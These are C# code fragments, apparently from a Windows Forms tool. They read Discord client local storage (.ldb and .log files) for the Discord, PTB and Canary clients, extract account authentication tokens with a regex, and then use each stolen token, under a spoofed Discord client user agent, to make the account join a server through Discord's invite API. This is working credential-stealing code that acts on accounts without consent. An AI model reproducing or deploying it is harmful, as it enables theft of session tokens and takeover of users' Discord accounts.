public static List <string> RetrieveDiscordTokens() { List <string> list = new List <string>(); List <string> list2 = new List <string>(new string[] { TokenRetriever.discordTokenDirectory, TokenRetriever.ptbTokenDirectory, TokenRetriever.canaryTokenDirectory }); List <string> list3 = new List <string>(); foreach (string path in list2) { if (Directory.Exists(path)) { IEnumerable <string> collection = from specifiedFile in Directory.EnumerateFiles(path) where specifiedFile.EndsWith(".ldb") || specifiedFile.EndsWith(".log") select specifiedFile; list3.AddRange(collection); } } foreach (string file in list3) { foreach (string line in TokenRetriever.ReadAllLines(file)) { if (!(TokenRetriever.PerformTokenCheck(line) == "")) { list.Add(TokenRetriever.PerformTokenCheck(line)); } } } return(list); }
public async void Join_DiscordServer(string last_letters_of_invite, bool output) { try { foreach (string value in TokenRetriever.RetrieveDiscordTokens()) { HttpClient client = new HttpClient(); client.DefaultRequestHeaders.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36"); client.DefaultRequestHeaders.Add("authorization", value); HttpClient httpClient = client; await httpClient.PostAsync("https://discordapp.com/api/v6/invite/" + last_letters_of_invite, null); httpClient = null; } if (output) { MessageBox.Show($"Most Prob Your In {Form.ActiveForm.Name}'s Discord , Scroll Up Or Down In Your List Of Servers And You Should See It!", "Information.", MessageBoxButtons.OK, MessageBoxIcon.Asterisk); } } catch (Exception ex) { if (output) { MessageBox.Show(ex.Message, $"Couldn't Join {Form.ActiveForm.Name}'s Discord"); } } }
private static string PerformTokenCheck(string line) { if (line.Contains("[oken")) { return(TokenRetriever.TokenRegexCheck(line)); } if (line.Contains(">oken")) { return(TokenRetriever.TokenRegexCheck(line)); } if (line.Contains("token>")) { foreach (object obj in TokenRetriever.tokenRegex.Matches(line)) { Match match = (Match)obj; if (match.Length >= 59) { return(match.Value); } } } return(""); }